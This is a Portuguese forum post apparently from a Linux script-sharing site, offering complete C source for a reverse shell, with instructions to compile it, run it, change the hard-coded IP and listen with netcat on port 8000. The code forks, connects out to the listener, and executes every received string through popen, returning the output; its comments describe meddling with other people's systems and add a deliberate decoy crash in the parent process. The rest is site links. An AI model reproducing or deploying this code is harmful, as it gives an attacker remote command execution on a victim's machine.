reverse shell na marra!
Publicado por felipe (última atualização em 11/12/2024)
[ Hits: 1.053 ]
Esse é um programa de reverse shell criado para linux, ele deve ser compilado e executado sem argumentos.
você deve usar o netcat junto, escutado na porta 8000, ou a que você definir, claro, você vai ter que mudar o ip também.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/socket.h> #include <sys/types.h> #include <netdb.h> #include <arpa/inet.h> #include <netinet/in.h> #include <unistd.h> int main(int argc, char **argv) { //cria um segundo processo pid_t pid; struct sockaddr_in destino={ .sin_family = AF_INET, .sin_port = htons(8000), .sin_addr.s_addr = inet_addr("127.0.0.1") }; //inicia pid = fork(); if(pid < 0){ perror("pid error"); return 1; } if(pid == 0){ int sock = socket(AF_INET, SOCK_STREAM, 0); if(sock < 0){ perror("socket error"); return 1; } int cnx = connect(sock, (struct sockaddr *)&destino, sizeof(destino)); if(cnx < 0){ perror("connet error"); return 1; } //brinca com sistema dos outros =p FILE *cmd; char buf[256]; char rec[256]; char *msg = "shell>"; while(1){ send(sock, msg, strlen(msg), 0); recv(sock, rec, 256, 0); cmd = popen(rec, "r"); while(fgets(buf, 256, cmd) != NULL){ send(sock, buf, strlen(buf), 0); } } } else{ //leve engano //bufferOverFlow int lol = atoi(argv[1]) * atoi(argv[2]); } return 0; }
Código C para gerar hashes DES e MD5
Esse código pode ser considerado um vírus?
Cálculo da chave secreta do protocolo Diffie-Hellmann
Automatizando digitação de códigos 2FA no browser
Resolver problemas de Internet
Como compartilhar a tela do Ubuntu com uma Smart TV (LG, Samsung, etc.)
Como converter imagens PNG/JPEG para SVG em linha de comando
Fez porcaria no teu repositório Git? Aprenda a restaurar uma versão anterior do seu código!
Restaurando Fontes de Download do Hydra no Linux
Atualizando "na marra" o YT-DLP quando começa a dar erro de downloads
Como instalar o WPS com interface e corretor ortográfico em PT-BR no Arch Linux
[AJUDA] Problemas ao atualizar BIOS da Gigabyte B550M K rev. 1.1 — “RO... (2)
Impossível ativar audio 5.1 (1)
Erro na atualização dos pacotes (1)
Problema com Conexão Outlook via Firewall (OpenSUSE) com Internet Fibr... (3)